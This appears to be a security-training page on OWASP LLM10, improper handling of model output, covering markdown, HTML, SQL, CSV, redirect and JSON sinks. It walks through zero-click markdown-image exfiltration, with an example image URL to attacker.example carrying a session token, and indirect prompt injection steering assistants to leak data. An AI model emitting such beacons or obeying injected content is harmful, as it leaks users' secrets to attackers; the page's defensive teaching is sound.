genai
SECURITY LAB
OWASP LLM10

LLM10: Improper Output Handling

If you have tested web apps, you already know every bug in this path: XSS, SQL injection, template injection, SSRF, path traversal. The only new part is where the input comes from. Teams escape what users type, then trust what the model writes because their own code asked for it. But the model's reply is shaped by whatever it read: a ticket, a review, a web page, an uploaded file. We work seven kinds of sink against live targets, from a chat view that leaks a token through an image URL to a YAML loader that runs code on the server. The fix is the one you already know. Treat the output as untrusted input and handle it for the sink it lands in.

OWASP LLM10
Improper output handling
When an app trusts the model's reply and hands it, unfiltered, to a renderer, a SQL engine, or a spreadsheet that runs it.
What the app does with what the model says - feeding trusted-looking output straight to an interpreter that runs it.
genai
SECURITY LAB
Prompt injection is about the way in. This is the other half, and it starts one step later, after the model has already answered.
0:00
1:22
The concept
Based on OWASP Top 10 for LLM Applications (2026), LLM10: Improper Output Handling · Content reviewed August 2026

Prompt injection is about what goes into the model. Improper output handling is about what the application does with what comes out. A language model is a non-deterministic text generator that an attacker can influence - through the prompt, through retrieved content, through anything in its context. So the moment its output leaves the model, it is untrusted input to whatever consumes it next.

The mental-model shift
What the app assumes
Model reply = trusted text → safe to render, run, or execute
✗ wrong
What actually holds
Model reply = untrusted, attacker-influenceable input to whatever reads it next
✓ reality
Prompt injection is about what goes into the model. Improper output handling is about what your code does with what comes out — and the answer must be: treat it as untrusted.

The bug is almost always the same shape: the application forgot that the next thing to read the output is an interpreter. A chat client renders markdown - so an image URL is a network request and a link is a click target. A frontend uses innerHTML 'for rich formatting' - so a tag is executable markup. A report opens in a spreadsheet - so a cell starting with '=' is a formula. A database runs the generated query - so concatenated text is SQL. A backend parses an ACTION block - so a sentence is a command.

Going deeper— CWE mapping: same injections, new source

Every sink in the explainer maps to a classic injection CWE: innerHTML is CWE-79 (Cross-site Scripting), concatenated SQL is CWE-89 (SQL Injection), formula-leading CSV cells are CWE-1236 (Improper Neutralization of Formula Elements in a CSV File), and unvalidated redirect URLs are CWE-601 (URL Redirection to Untrusted Site). The vulnerability class is identical -- the only novelty is the injection source. Traditional injection comes from user-controlled HTTP parameters; here it comes from an LLM whose output the developer assumed was safe because the AI wrote it.

MITRE ATLAS captures the upstream half as AML.T0051 (LLM Prompt Injection) and the downstream impact through technique chains that land at the classical CWE. The OWASP LLM Top 10 (2026) separates LLM01 (Prompt Injection) from LLM10 (Improper Output Handling) precisely because the fix for each lives in a different layer: LLM01 is about controlling the input to the model; LLM10 is about encoding the output for the sink. If your threat model only covers LLM01, every sink in this list is an unmitigated residual.

Six sinks: what each one interprets
Downstream sink
Interprets…
The primitive that fires
Markdown renderer
an image / link URL
src auto-loads on render; href fires on click
innerHTML sink
any HTML tag
<script> / onerror runs in your origin
SQL engine
a concatenated string
the injectable query executes
Spreadsheet
a cell leading = + - @
the formula evaluates on open
URL bar
a link with no allowlist
open redirect — points anywhere
JSON parser
an object
an extra field drives privileged logic
The bug is always the same shape — the app forgot the next reader of the output is an interpreter, not a display. A value that is harmless as text becomes active the instant the sink consumes it.

Here is the attack in practice. An inbox assistant holds a per-session token in context and replies in markdown. An attacker's message asks for an image in the reply, with the session id placed in the image address. The model emits a markdown image whose src is https://attacker.example/p.png?id=<token>. The client auto-loads it. The token leaves over an ordinary GET before the user has read anything - zero clicks, no refusal triggered, because the model never refused: it just formatted a reply.

Going deeper— The markdown exfiltration disclosure timeline

Johann Rehberger documented the markdown image exfiltration class across multiple LLM products in 2023. His initial disclosure to OpenAI (April 2023) showed that ChatGPT rendered attacker-controlled markdown images, enabling zero-click data exfiltration via the auto-loaded src URL. The same primitive was independently confirmed on Google Bard, Microsoft Bing Chat (now Copilot), and several plugin-enabled assistants.

OpenAI began mitigating the ChatGPT issue in December 2023, about eight months after the April report. The mitigation was a validation check on an image URL, made before the client rendered the image. That put the control at the renderer, on the output side, and not in the prompt. The placement matters because the steering text does not have to come from the user. Greshake et al. showed that instructions planted in content an application retrieves can steer its model. The paper is "Not What You've Signed Up For: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection" (AISec 2023).

Zero-click markdown-image exfiltration
attacker msg asks for an image in the reply, with the session id in the image addressInbox assistanttoken in contextModel reply![x](…/p.png?id=…)Client rendersauto-loads the imageattacker.exampleGET ?id=SESSION-9F3ASESSION-9F3Aid=SESSION-9F3A⚠ zero clicks — no refusal fires, because the model only formatted a reply.
The 2023 ChatGPT markdown-image data-exfil bug. The model never 'decided' to leak. A formatting request that puts a value from its context into an image URL is enough. The renderer auto-loads the src, and the token leaves over a single GET before the user reads a word.

The same move wears many costumes: a one-click markdown link, a <script> through innerHTML, a stored summary that re-renders on every feed load, a =HYPERLINK cell in a CSV, a concatenated SQL string carrying a token in a trailing comment, an open-redirect button, a JSON blob with an extra escalation_code field, an ACTION block the backend executes. Different sink, identical root cause: model output reached an interpreter without being encoded, validated, or gated for that sink.

One root cause, many costumes
Markdown image?id=tokenMarkdown linkone clickinnerHTML XSS<script>Stored outputre-renders=HYPERLINK cellCSV formulaGenerated SQLconcat + -- tokenOpen redirectno allowlistJSON fieldescalation_codeTHE SAME ROOT CAUSEmodel output → an interpreter, unencoded / unvalidated / ungated
Different sink, identical root cause: model output reached an interpreter without being encoded, validated, or gated for that sink.

Notice what does not fix this: a better prompt. You can tell the model 'never put a token in a URL' or 'always parameterize,' and a crafted message, a poisoned document, or simple model error will defeat it. The output is untrusted regardless of how the model was instructed, because an attacker upstream can shape it. The fix has to live in the code that consumes the output.

A better prompt is not the fix
The rule you add
Where it lives
Result
"Never put a token in a URL"
system prompt
Bypasseda rephrase or poisoned doc
"Always parameterize the SQL"
system prompt
Bypassedplain model error
Sanitize image/link URLs on render
the sink (your code)
Holdsno src reaches the network
Parameterize + escape before write
the sink (your code)
Holdsoutput can't be code
You can tell the model 'never leak' — a crafted message, a poisoned document, or simple model error defeats it. The output is untrusted no matter how the model was instructed. The only line that holds runs through the code that consumes the output.
The core insight

Treat model output exactly like user input: untrusted, attacker-influenceable, and dangerous until encoded for its destination. Encode for the sink, validate against a schema or allowlist, and gate any action in code. The model proposes; your code disposes.

Controls that actually hold
Model outputuntrustedEncodefor the sinkValidateschema / allowlistAuth gatein codeSafe effectrender · run · actsecrets kept out of context — nothing to fold into a URL, comment, or formula
Treat model output exactly like user input: encode for the destination, validate against a schema or allowlist, and gate any side effect in code. And keep secrets out of context — a token never in context can't be folded into a URL, a comment, or a formula. The model proposes; your code disposes.
Key principles

Model output is untrusted input to whatever reads it next - a markdown renderer, an HTML sink, a SQL engine, a spreadsheet, a URL bar, a JSON parser, a workflow executor.

The vulnerability is a missing encode/validate step between the model and a downstream interpreter, not anything the model 'decided' to do - it just formatted a reply.

Encode for the specific sink: text-render markdown, allowlist-sanitize HTML, parameterize SQL, escape CSV formula leaders, validate URLs and JSON against an allowlist and schema.

Put a deterministic authorization gate between output and any side effect, and keep secrets out of context so there is nothing to fold into a beacon in the first place.

The breach that makes it real
Breach replay
ChatGPT markdown-image data exfiltration · 2023

In 2023, security researcher Johann Rehberger demonstrated that ChatGPT (and later other assistants and plugins) would render markdown images in its responses, and that an indirect prompt injection - hidden in a web page or document the model browsed - could instruct it to emit an image whose URL embedded the user's conversation data. The client auto-loaded the image, silently exfiltrating that data to an attacker-controlled server over a single GET request, with no click required. The same primitive was reported in other LLM products, including Google Bard and Microsoft Bing Chat (now Copilot), as image-rendering features shipped. Vendors mitigated it by restricting or proxying image URLs and applying a content-security policy to outbound image loads - an output-handling fix, not a prompt fix.

The labs reproduce this zero-click beacon against a fictional link-preview service. They also cover the SQL, server-side execution, CSV-formula, URL and action-execution variants.
Check yourself
Knowledge check
An inbox assistant replies in markdown that the client renders, and it holds a per-session token in its context. Which control actually stops markdown-image data exfiltration?
Go deeper
Get the next part

New parts ship regularly. Leave your email and I’ll send each one — no spam, unsubscribe anytime.

© 2026 GenAI Security Lab. All rights reserved. You may read, quote, and link to this material with attribution. Copying, republishing, redistribution, resale, or use to train models or build competing products is prohibited without prior written permission.